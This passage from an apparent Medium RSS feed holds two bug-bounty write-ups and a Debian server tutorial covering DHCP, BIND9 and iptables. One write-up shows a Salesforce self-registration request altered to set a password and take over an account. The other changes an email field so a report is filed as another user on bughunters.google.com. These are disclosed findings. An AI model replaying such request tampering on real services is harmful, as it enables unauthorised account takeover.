href="/service/mailto:prasanth@flexport.com">prasanth@victimdomain.com</a>”,”password”:”&quot;,”confirmPassword”:”&quot;,”regConfirmUrl”:”./CheckPasswordResetEmail”,”extraFields”:”[{\”dbRequired\”:false,\”fieldPath\”:\”CountryCode\”,\”label\”:\”Country Code\”,\”required\”:false,\”type\”:\”PICKLIST\”,\”value\”:\”US\”},{\”dbRequired\”:false,\”fieldPath\”:\”ACM_Promotional_Updates__c\”,\”label\”:\”ACM Promotional Updates\”,\”required\”:false,\”type\”:\”Boolean\”,\”value\”:true}]”,”startUrl”:””,”includePassword”:false}}]}</blockquote><p>The Itachi inside of me is only focused on each parameter. I noticed a variable called includePassword:false at that message parameter, and the request also contains the null password value.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/0*ewYGdkQ8i0EDfDXp.gif" /></figure><p>It’s time to include those passwords and continue my testing. So I entered random password on password and the confirm password. Then I changed the value of include password to true. Then I encode this message parameter and replace it with the message parameter before forwarding it.</p><p>The modified decoded request now appears as follows:</p><blockquote>{“actions”:[{“id”:”258;a”,”descriptor”:”apex://LightningSelfRegisterController/ACTION$selfRegister”,”callingDescriptor”:”markup://c:selfRegisterCustom”,”params”:{“firstname”:”Prasanth”,”lastname”:”Elangovan”,”email”:”<a href="/service/mailto:prasanth@flexport.com">prasanth@victimdomain.com</a>”,”password”:”Password@123&quot;,”confirmPassword”:”Password@123&quot;,”regConfirmUrl”:”./CheckPasswordResetEmail”,”extraFields”:”[{\”dbRequired\”:false,\”fieldPath\”:\”CountryCode\”,\”label\”:\”Country Code\”,\”required\”:false,\”type\”:\”PICKLIST\”,\”value\”:\”US\”},{\”dbRequired\”:false,\”fieldPath\”:\”ACM_Promotional_Updates__c\”,\”label\”:\”ACM Promotional Updates\”,\”required\”:false,\”type\”:\”Boolean\”,\”value\”:true}]”,”startUrl”:””,”includePassword”:true}}]}</blockquote><p>I’ve now gotten 200 OK responses. The account was created successfully without any user interaction. Now I have complete control of the account.</p><p>I became incredibly excited. Now I’ve submitted the entire report with all of the details to hackerone. On this one, I have great expectations. :)</p><p>I received a response after five days. Yeah, the bug has been marked as informative. For me, it appears shocked.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*UwKO0sofkC6NFAoppwSpDA.png" /></figure><p>Its not even duplicate. Its informative. :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/986/1*0fEzMPEGX17dxiQ244Kwlg.png" /></figure><p>As I previously stated, it may hit you differently when you know your report is valid, but it will still be informative :)</p><p>I have few other reports as well which have high impact but closed as informative. But that’s okay. Learning is also important.</p><p>Thank you for reading this far. Please DM if you have any questions.</p><p>Contact : <a href="https://www.linkedin.com/in/prasanth-elangovan">Linkedin</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2cc831f0b55a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hey Google Lets submit bug from Victim Account !]]></title>
            <link>https://virtuvil.medium.com/hey-google-lets-submit-bug-from-victim-account-af6a25d390e1?source=rss-1febb35ca2e4------2</link>
            <guid isPermaLink="false">https://medium.com/p/af6a25d390e1</guid>
            <category><![CDATA[application-security]]></category>
            <category><![CDATA[google]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Virtuvil]]></dc:creator>
            <pubDate>Mon, 18 Jul 2022 16:23:06 GMT</pubDate>
            <atom:updated>2022-07-18T16:23:06.993Z</atom:updated>
            <content:encoded><![CDATA[<h3>Hey Google Lets submit bug from Victim Account !</h3><p><strong>Introduction</strong></p><blockquote>Hello friends, This is<a href="https://linkedin.com/in/prasanth-elangovan"> Prasanth Elangovan</a> (aka Virtuvil) , a security researcher &amp; an ethical hacker from India. This is the story of how my bug bounty journey helped me to pay for my college fees.</blockquote><p>Let’s get started by explaining how I can submit a bug report using another user’s account without their authentication on bughunters.google.com.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/0*Yseo7IYTnPM4JhN4.png" /></figure><p>While scrolling through LinkedIn, I noticed numerous posts about people receiving Huge Google rewards for their findings. So I decided to hunt on Google.</p><p>After spending 7–8 hours, I discovered privilege escalation on a Google domain, and I made a report to submit via bughunters.google.com.</p><p><strong>The thought “Harey bhai, Why you didn’t check the bughunter.google.com?” suddenly occurs as I type the report on bughunter.google.com.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/991/1*oCI13tCItOg4VDZxcrMYKw.png" /></figure><p>What if we discovered a bug during the submission process? Come on! Simply give it a shot.</p><p>Let’s Fired up the burp and then submit the privilege escalation bug. After submitting the report, I review each and every request and response from the burp that we captured from bughunters.google.com.</p><p>One of those requests caught my attention. That is what follows.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/860/1*nt4ZO-ngB3Oh78WpTbBLZA.jpeg" /></figure><p>What if we changed the mail address?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Hm9Si_lWCQE6nA0HoJ1h9Q.png" /></figure><p>Its time to give a shot! So I sent that request to repeater and changed the email address to <a href="/service/mailto:victim@mail.com">victim@mail.com</a>. In this case, I used my secondary email address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/858/1*u54_RN1WHpF7DqyfRkCutg.png" /></figure><p>Guess what ? I received 200 OK responses. And the bug was submitted to Google using the victim’s account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NDBqxc1U1rnDr9-lYi_qQw.png" /></figure><p>I got more excited !😁</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/661/1*s2_PCDiXvbnJsIrpaGKtqw.png" /></figure><p>And here, HTML, content, and text injection are also possible by modifying the request’s other details. So quickly, I submitted the bug and am waiting for a response.</p><p>The status was updated three-seven days later. Yes ! My report was triaged by Google.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*megD37mccAR2h637VZnBdg.png" /></figure><p>Like everyone else, I am also excepting the reward.😁</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/675/1*URCS1Be0LIKBMzTjXSEG2A.png" /></figure><p>I received the update from Google after a few days. :(</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/587/1*oHvnDMtQj85MRK26g7jskw.png" /></figure><p>Not again!<br>I got another duplicate from Google.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/596/1*0Slj4vzhDqO1nWhri0cE8g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/220/0*CV4x0SzdbBQ7ZNur.gif" /></figure><p><strong>Story behind the this bug </strong>:)</p><p>I was studying M.Sc. cybersecurity in October 2021. On one Thursday, I received notice that I needed to pay third semester fees. There are only two months left to pay fees. I have some knowledge of networking and cloud-related technologies so I started looking for different freelance jobs , the day after I got the notification. :(</p><p>Even though I was a noob in the security field at the time, I was still doing bug bounties. At the initial time I got 100+ duplicates. 😌</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/742/1*WuRNV_MHd8vpg3T3ByDQSQ.png" /></figure><p>At the time, I received a duplicate from Google as well. It is common for me to receive duplicates and informative messages.😐</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Vg1WSCvfGMCsgiyn.jpg" /></figure><p>But, luckily, I received $400 from another program for discovering a privilege escalation bug and I paid my college fees without Any delay. :)</p><p>Thank you for reading this far. Please DM if you have any questions.</p><p>I’ve written other articles as well. I will describe how I discovered complete account takeover without user interaction (how I paid my final semester fees) and other bugs as well.</p><p>Always Thanks to <a href="https://www.linkedin.com/in/nithishkumar-m-36b673200/">NithishKumar M</a> and <a href="https://www.linkedin.com/in/vasanth-gn-3163a155/">Vasanth GN</a></p><p>Contact : <a href="https://www.linkedin.com/in/prasanth-elangovan">Linkedin</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=af6a25d390e1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Debian Server OS Installation and Configuration]]></title>
            <link>https://virtuvil.medium.com/debian-server-os-installation-and-configuration-f7f524573c86?source=rss-1febb35ca2e4------2</link>
            <guid isPermaLink="false">https://medium.com/p/f7f524573c86</guid>
            <category><![CDATA[networking]]></category>
            <category><![CDATA[debian]]></category>
            <category><![CDATA[sysadmin]]></category>
            <category><![CDATA[tutorial]]></category>
            <category><![CDATA[linux]]></category>
            <dc:creator><![CDATA[Virtuvil]]></dc:creator>
            <pubDate>Sat, 09 Jan 2021 08:18:18 GMT</pubDate>
            <atom:updated>2021-01-09T08:18:18.882Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/442/1*vo7H0hpIpZwy_hP_1gP7vg.png" /><figcaption>Logo</figcaption></figure><p>Unlike Windows and macOS, Linux comes in many alternative forms, called distributions. And the difference between distributions can be very large, especially to the non-initialized.</p><p>If you already know which distribution you need, you can, of course, skip this step.</p><p>For those who don’t know, I would advise you to start with a distribution that has a graphical user interface, which is more similar to Windows interface (it has a start menu etc).</p><p>In this tutorial we are going to install Debian Stretch cli for server.</p><h3><strong>Steps involved in this configuration</strong></h3><ol><li>Debian sever OS Installation</li><li>Basic Server Configuration</li><li>DHCP Configuration</li><li>Bind9 Configuration</li><li>IP Tables Configuration</li></ol><h3><strong>What is Debian OS and its code names</strong></h3><p>Debian is a free operating system for your computer. An operating system is the setof basic programs and utilities that make your computer run.</p><ol><li>Release 1.1 is buzz</li><li>Release 1.2 is rex</li><li>Release 1.3 is bo</li><li>Release 2.0 is hamn</li><li>Release 2.1 is slink</li><li>Release 2.2 is potato</li><li>Release 3.0 is woody</li><li>Release 3.1 is sarge</li><li>Release 4.0 is etch</li><li>Release 5.0 is lenny</li><li>Release 6.0 is sqeeze</li><li>Release 7.0 is wheezy</li><li>Release 8.0 is jessie</li><li>Release 9.0 is stretch</li><li>Release 10.0 is buster</li></ol><h3><strong>Debian OS Installation</strong></h3><ol><li>Turn on your personal computer.</li><li>Insert USB device.</li><li>Go to show application and select make startup disk.</li><li>Click the other option and select the Debian OS.</li><li>After selecting the debian os, Click Make Startup Disk option to start the booting process.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*mV1R1acagVwNIMw0HkIKWQ.jpeg" /><figcaption>Boot Debian OS</figcaption></figure><h3><strong>Debian OS Installation</strong></h3><ol><li>Press Esc or F12 key to enter bios menu.</li><li>USB HDD should be listed below. Use the arrow keys to select USBHDD then press enter.</li><li>Now proceed to boot operating system from USB drive</li><li>If we Select Graphical install option to install operating system via Graphical.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/1*OBmp3NYuG7B1zaOH0Edh5A.png" /></figure><p>5. If we Select Install option we can install operating system via cli.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/560/1*Iob0Q6NvegwMvlHcFwnybQ.png" /></figure><p>6. If we Select Advanced options it shows the some options to make install easier.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/511/1*oTL1EeqhP2fRy4_wqtJ6NA.png" /></figure><p>7. If we select the help menu, it displays the help options.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/548/1*QZt14VRJAshZbJ0u_rK9hg.png" /></figure><p>8. If we select Install with speech symthesis option the following screen will appear.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/521/1*y3EfKuojy-ZiXHMMykFvVw.png" /></figure><p>9. Select a language to use for the system. Select required option and select continue.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/571/1*phycoEhp1A2iwWWQdtDDrA.png" /></figure><p>10. Then it asks the Location for the time zone, select time zone and click continue.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/542/1*oIrSty4pacjEgJYgSTESlA.png" /></figure><p>11. Then it asks the keyboard layout for the operating system. Select the required option and click continue.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/599/1*BD44mEWhtYn41GwSR__p-Q.png" /></figure><p>12. Then it automatically loads the attached network configuration or it loads the network configuration from the dhcp and also it loads the ipv4 and ipv6 configurations.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/581/1*nWY6IQky7W-qRW6wJU73rQ.png" /></figure><p>13. Then it asks the hostname for operating system. Enter the hostname and select continue.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/612/1*JTRyDI0O6dTpUQkq2ai1Gw.png" /></figure><p>14.Then it asks the domain name to configure the network in the operating system. Enter the domain name and click continue</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/615/1*LQwiWEGOhpC3sMlIN-CTkQ.png" /></figure><p>15. Then enter the password for the user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/521/1*8ZQ02FuYJyPdLYeEh9qujQ.png" /></figure><p>16. Then it asks the full username for the user, enter the username and click next.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/588/1*XUAoKTsv8Kr23_E1ImMXGQ.png" /></figure><p>17. Then it ask the username for the account, enter the username and click continue.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/605/1*_U_EcwgRX67NsdvuubYAzw.png" /></figure><p>18.Then it asks the root password, enter the root password and click next.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/594/1*sW0sgNLWSi1bk9YY0b-Z_A.png" /></figure><p>19.In partition disk menu, if we select the guided-Use entire disk option it uses the entire disk without LVM, if we select use entire disk and setup LVM option it uses the entire disk and converts it to LVM. If we select use entire disk and set up encryption LVM option it use the entiredisk with encrypted LVM, If we select the Manual we can configure the disk manually.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/523/1*bGEyJ-VyVb4gtiPncpNFfQ.png" /></figure><p>20.The next tab show the Hard disk, select the hard disk to install the operating system and click continue.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/540/1*XBiL1dXUDLOa-8S3v2mJIw.png" /></figure><p>21.The following menu shows the several different schemes for the disk, If we select first option it stores the /home , / , /usr , /bios , /swap as one partition. If we select the second option it separates /home partition from /(root directory). If we select third option it separate the /tmp, /var and /home partitions. select required option and select continue</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/611/1*uwPbLK9vemZmos6GgoYNDA.png" /></figure><p>22.The following window show the free space, mounting points and file system. Click undo changes to partition option to revoke the disk changes. If we select the Finish partition and write change to disk option to begins to install operating system. Select option and click continue.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/627/1*uvaWTZzumE-cGetrbPf9Bw.png" /></figure><p>23.Then it ask to confirm the changes. we accept the changes by clicking yes option, If we select no to cancel the changes. Select required option and click continue.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/604/1*IZNf2g0OYIjLyY9nAo-IGQ.png" /></figure><p>24.Then it install the system configuration. This step takes several minutes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/622/1*a3IdmOWFCQabxuSjuzrFxA.png" /></figure><p>25.The network mirror window helps you to automatically download the ropos. If we select yes it automatically configure the source list. If we select no we have to manually add the repos to source list after installing the operating system. Select required option and click continue.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/611/1*4Diiu3CiiTKuHdI-6tKxdA.png" /></figure><p>26.The next window shows the package usage survey. If we select yes we can answer the survey, If we select no we cannot answer the survey. Select required option and click continue.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/568/1*pGGh8ObMwA-j6unCmiqzzw.png" /></figure><p>27.Then it asks software select, If we select Desktop environment it installs the GUI environment. If we doesn’t select GUI option, it automatically loads the CLI mode.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/587/1*M9YT2krzsTVZ-4cX_yXklQ.png" /></figure><p>28.Then it loads the selected softwares.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/618/1*46AGryHZahEXBJuRoy9TFg.png" /></figure><p>29.The next windows helps to install GRUB option. If we select yes option we can install multiple operating system without affecting the system. If we select no it may affect the system program files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/613/1*TUX3G8khXWXwYwO-iCOgBg.png" /></figure><p>30.If we select yes option in GRUB menu, then it asks the device to install. In this menu It shows the hard drive, we also can install GRUB menu manually. Select required option and click continue.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/605/1*z6taw-SC_eWXISmJLkbN4A.png" /></figure><p>31.If we proceed to install GRUB, it begins to install GRUB on the next screen.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/647/1*6jCFwa65mm5He7dLEkR0Kg.png" /></figure><p>32.After all those steps are completed. Then it asks to remove installation medium to enter the new environment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*DJTg9q8d2RO5xL1yok7eNg.png" /></figure><p>33.After installation completed, it will appear on the screen.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/615/1*J9A1Pvwu7sHMNsmlgzDwtA.png" /></figure><h3><strong>Basic Configuration</strong></h3><ol><li>Add the repos to the source list and install the following packages.</li><li>Assign the ip address for two interface and check the connectivity by using ping command.</li><li>To configure the basic network configuration option. Install the net-tools package.</li></ol><pre>               sudo apt install net-tools</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/526/1*eBnACAY_btT4YuSORQ0qcA.png" /></figure><h3><strong>Configure Network Interface</strong></h3><ol><li>Configure the network interface by edit the interfaces file.</li><li>To configure the interfaces file we should have the super privilege.</li></ol><pre>        sudo nano /etc/network/interfaces</pre><p>3.Assign the static ip by using the file and check it by using the following command.</p><pre>         ip a</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/495/1*4tcxH719admnq1Y6EGmSGQ.png" /></figure><h3><strong>DHCP Service Configuration</strong></h3><ol><li>Install the isc-dhcp-server to configure the dhcp.</li></ol><pre>             sudo apt install isc-dhcp-server</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/524/1*G7Xb_2lPozITVGXy7QSB0w.png" /></figure><p>2.Configure the dhcp service after the installation completes.</p><p>3.we should configure the dhcp service by edit the dhcp.conf file</p><p>4.It requires the super user privilege to edit the file.</p><pre>           sudo nano /etc/dhcp/dchpd.conf</pre><p>5.The file contain the domain name, starting ip address, boardcast address,netmask , domain routers and also the range for the ip address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/540/1*DL1ivxpDnRBDJOZf2PExew.png" /></figure><p>6.We can assign the static ip address from dhcp service.</p><p>7. By using the following pattern we can only release the limited ip depends on the host’s mac basic.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/534/1*yZ2zt--hAi9Jd2rhrFVdrg.png" /></figure><p>8.After editing the file. Restart the service by the following command.</p><pre>              sudo systemctl restart isc-dhcp-server</pre><p>9.To view the status for the dhcp service.</p><pre>             sudo systemctl status isc-dhcp-server</pre><p>10.We also can view the releasing ip</p><p>11.We can start the service by the following command.</p><pre>             sudo systemctl start isc-dhcp-server</pre><p>12.We can stop the service by the following command.</p><pre>              sudo systemctl stop isc-dhcp-server</pre><h3><strong>DHCP Releasing Port Configuration</strong></h3><ol><li>We configure the port for releasing ip.</li><li>It release the Ips from the dhcpd.conf files (/etc/dhcp/dhcpd.conf).</li><li>Ip release by using this file.</li><li>To edit this file it requires super user privilege.</li><li>To edit the file we use the following command. Edit and save the file.</li></ol><pre>         sudo nano /etc/default/isc-dhcp-server</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*jJaePbxpx5TpiUmXuFsSmA.png" /></figure><p>6. We can following to view the releasing ip.</p><pre>             sudo systemctl status isc-dhcp-server</pre><h3><strong>IPTable Configuration</strong></h3><ol><li>We use the iptables for nating purpose.</li><li>And we also can configure the input, forward and output chain.</li><li>We use the IPTables for security purpose.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/538/1*c6X-lzr32YmCdfT91Ctrgw.png" /></figure><p>4.We use the IPTables for block the port and also the websites.</p><p>5.We use the IPTables for port forwarding.</p><p>6.We can install the iptables by the following command</p><pre>               sudo apt install iptables-persistent</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/619/1*lpJ8oeiadWna2tsciyCXZg.png" /></figure><h3><strong>Port Forwarding</strong></h3><ol><li>We use the following file to forward the packet that support for both ipv4 and ipv6.</li><li>Uncommand the net.ipv4.IP_forward=1 to enabling the packet forwarding for ipv4</li><li>We also can enabling the packet forwarding for ipv6</li><li>We configure the file by the following command</li></ol><pre>              sudo nano /etc/sysctl.conf</pre><p>5.To edit the file it requires super user privilege.</p><p>6.If we wrongly configure the file, it will affect the release of ip from dhcp service.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/655/1*I2HvpU9eMNL8hbgfA79E3A.png" /></figure><h3><strong>Bind Service Configuration</strong></h3><ol><li>Install the bind package by the following command.</li></ol><pre>               sudo apt install bind9</pre><p>2.We configure the bind package for the name service.</p><p>3.If we doesn’t configure the file, the client machines could not use the domain name to search.</p><p>4.We also use the Bind package to block the websites.</p><p>5. We can create a log for bind package.</p><p>6. BIND’s configuration consists of multiple files, which are included from the main configuration file</p><p>7.Zone files, which contain information about a particular namespace, are stored in the named working directory</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/659/1*oh9IFbPOk3cwW4bECB3vzQ.png" /></figure><h3><strong>Db.domain file</strong></h3><ol><li>This file is the main configuration file for the DNS file.</li><li>It not necessary to use the default name. We also can use the different file name.</li><li>Most entries in the zone data files are called DNS resource records</li><li>A file that maps hostnames to IP Addresses will be called db.domain</li><li>We configure the file by the following command.</li></ol><pre>             sudo nano /etc/bind/db.netdomain.in</pre><p>6. To edit this file it requires super user privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/662/1*1x7uFqLAeRxr0Wfkav03cA.png" /></figure><h3><strong>Db.named.conf.option File:</strong></h3><ol><li>We will be using the same ACL list to restrict our DNS server to a specific list ofclients. However, we need to change the configuration so that the server no longer attempts to perform recursive queries itself.</li><li>This file contains all the configuration options for the DNS server</li><li>We also can place the nameserver between firewall and network.</li><li>This file allows you to use multiple ports.</li><li>This file filter the queries by using the ACL.</li><li>To edit this file it requires super user privilege</li><li>Edit the file by the following location.</li></ol><pre>           sudo nano /etc/bind/named.conf.options</pre><p>8. acl&lt;acl-name&gt; — Configures an access control list of IP addresses to be allowed or disallowed certainnamedservices. Most of the time, individual IP addresses or IP network notation is used identify the exact IPs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/660/1*Q3vRmxuNaIezqv2Cw1jjWw.png" /></figure><h3><strong>Named.conf.local file:</strong></h3><ol><li>This file contains the local DNS server configuration, and this is where you declare the zones associated with this server’s domain(s).</li><li>Reverse name resolution zone requires the first three blocks of the IP address tobe reversed and “.in-addr.arpa” to be included after them. This allows the single block of IP numbers used in the reverse name resolution zone file to be correctly attached with this zone.</li><li>The file maily created for the reverse lookup zone</li><li>To edit this file it requires root privilege.</li><li>We can edit this file by the following</li></ol><pre>            sudo /etc/bind/named.conf.local</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/618/1*ELE7NMs8pfe15DNFZEZFag.png" /></figure><h3><strong>Db.ip file:</strong></h3><ol><li>This file containing default forward, reverse, and broadcast zones.</li><li>PTR — PoinTeR record, designed to point to another part of the namespace.</li><li>PTR records are primarily used for reverse name resolution, as they point IP addresses back to a particular name</li><li>SOA — Start Of Authority record, proclaiming important authoritative information about the namespace to the nameserver.</li><li>IPs are pointed to corresponding FQDNs</li><li>To edit this file it requires root privilege.</li><li>To edit this file, enter the following command.</li></ol><pre>           sudo nano etc/bind/db.10</pre><p>8.We assign to pointer in this file for the FQDN.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*7Zr3EUtd6syjVwKgKcbC5Q.png" /></figure><h3><strong>RPZ .zone File:</strong></h3><ol><li>RPZ provides a way to “rewrite” a DNS response. Normally a rewrite would return an NXDOMAIN, or “no such answer” response for a query whose return data matches an RPZ “trigger”.</li><li>We can configure the rpz.zone in following location.</li></ol><pre>           sudo nano /etc/bind/rpz.zone</pre><p>3. It requires root privilege to edit this file.</p><p>4. It block the website by the domain name.</p><p>5. It also generate the log for the users who viewed the sites.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/571/1*CAdGeYpKAOXMnLdN9I-uFQ.png" /></figure><p>6. If the users search the blocked sites. It provides the following error.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/526/1*ofeZa3zV5s99U1n8vhHTMw.png" /></figure><h3><strong>Basic Bind commands:</strong></h3><ol><li>We can start the bind service by the following command</li></ol><pre>         sudo systemctl start bin9</pre><p>2.We can stop the bind service by the following command.</p><pre>        sudo systemctl stop bind9</pre><p>3.We can restart the bind service by the following command.</p><pre>       sudo systemctl restart bind9</pre><p>4.We can view the bind status by the following command</p><pre>      sudo systemctl status bind9</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/648/1*A8rUBnAUPEKjacgpxio4QA.png" /></figure><p>5.To change state of bind9 it requires root privilege.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/653/1*lvhIM7x5isbiNL8j8ldvmA.png" /></figure><p>6. We can view the version of bind by the following command.</p><pre>`               named -v</pre><h3><strong>NOTE</strong>:</h3><p>We use some arguments in server configuration. The meaning for the arguments given below.</p><ol><li>Comments: start with a semicolon (;)</li></ol><p>2. Directives: start with a dollar sign ($)</p><p>3. Resource Records: aka DNS records</p><p>4. The $TTL directive defines the default Time to Live value for the zone, which is the time a DNS record can be cached on a DNS resolver. This directive is mandatory. The time is specified in seconds.</p><p>5. The $ORIGIN directive defines the base domain.Domain names must end with a dot (.), which is the root domain. When a domain name ends witha dot, it is a fully qualified domain name (FQDN).</p><p>6. The @ symbol references to the base domain.</p><p>7. IN is the DNS class. It stands for Internet. Other DNS classes exist but are rarelyused.</p><h3><strong>Conclusion</strong></h3><p>By using the above steps the debian server operating system installation and configuration has been completed successfully. :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/422/1*GUfa-l52Sxu1QMsXHW3IiA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f7f524573c86" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>